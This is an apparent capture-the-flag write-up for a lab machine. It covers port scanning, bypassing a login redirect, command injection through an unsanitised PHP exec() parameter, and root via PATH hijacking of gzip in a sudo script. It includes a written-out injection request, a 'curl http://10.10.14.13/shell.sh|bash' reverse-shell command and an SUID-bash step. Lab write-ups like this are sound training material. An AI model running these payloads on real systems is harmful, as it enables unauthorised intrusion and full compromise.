$ nmap -p- --min-rate 5000 10.129.95.185
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-06 11:41 EDT
Nmap scan report for 10.129.95.185
Host is up (0.0072s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
File Storage
Port 80 had a login page to some kind of file manager:
This wasn't vulnerable to SQL Injection or anything. I tried visiting index.php, but was redirected back to the login.php. When the traffic is inspectedi nBurp, I noticed that index.php was still loaded.
This means that we can view the pages without logging in since they are loaded before we are redirected. When I used Burp's Match and Replace function to change the 302 Found to 200 OK, I could load the page normally:
Within the Accounts tab, we can add a user.
So I created one and we can remove the Burpsuite filtering. Within the Files tab, there's a backup of the entire site uploaded.
We can download this file and analyse the source code back on my machine. Here's the logs.php.
<?phpsession_start();if (!isset($_SESSION['user'])) {header('Location: login.php');exit;}?><?phpif (!$_SERVER['REQUEST_METHOD'] =='POST') {header('Location: login.php');exit;}///////////////////////////////////////////////////////////////////////////////////////I tried really hard to parse the log delims in PHP, but python was SO MUCH EASIER///////////////////////////////////////////////////////////////////////////////////////$output =exec("/usr/bin/python /opt/scripts/log_process.py {$_POST['delim']}");echo $output;$filepath ="/var/www/out.log";$filename ="out.log";if(file_exists($filepath)) {header('Content-Description: File Transfer');header('Content-Type: application/octet-stream');header('Content-Disposition: attachment; filename="'.basename($filepath).'"');header('Expires: 0');header('Cache-Control: must-revalidate');header('Pragma: public');header('Content-Length: '. filesize($filepath));ob_clean(); // Discard data in the output bufferflush(); // Flush system headersreadfile($filepath);die();} else {http_response_code(404);die();}?>
It seems that there's an exec function used, and the delim parameter is not sanitised when being passed in, thus creating a command injection vulnerability. We can send this request to confirm we have RCE.
POST /logs.php HTTP/1.1Host:10.129.95.185User-Agent:Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language:en-US,en;q=0.5Accept-Encoding:gzip, deflateContent-Type:application/x-www-form-urlencodedContent-Length:36Origin:http://10.129.95.185Connection:closeReferer:http://10.129.95.185/file_logs.phpCookie:PHPSESSID=k0vg9j4gs59e7q9qokpv6rhugiUpgrade-Insecure-Requests:1delim=comma; ping -c 1 10.10.14.13
Now, we can get a reverse shell by using curl http://10.10.14.13/shell.sh|bash.
Privilege Escalation
M4lwhere Creds
Within the /var/www/html file, there's a config.php file.
m4lwhere@previse:/var/www/html$ sudo -l
[sudo] password for m4lwhere:
User m4lwhere may run the following commands on previse:
(root) /opt/scripts/access_backup.sh
Here's the script:
#!/bin/bash# We always make sure to store logs, we take security SERIOUSLY here# I know I shouldnt run this as root but I cant figure it out programmatically on my account# This is configured to run with cron, added to sudo so I can run as needed - we'll fix it later when there's timegzip-c/var/log/apache2/access.log>/var/backups/$(date--date="yesterday"+%Y%b%d)_access.gzgzip-c/var/www/file_access.log>/var/backups/$(date--date="yesterday"+%Y%b%d)_file_access.gz
This script was running gzip without the full path, so we can do some PATH injection. Create a script called gzip that makes /bin/bash an SUID binary via chmod u+s /bin/bash, then make it executable.
Afterwards, change the PATH variable to include /tmp first and run the script as root.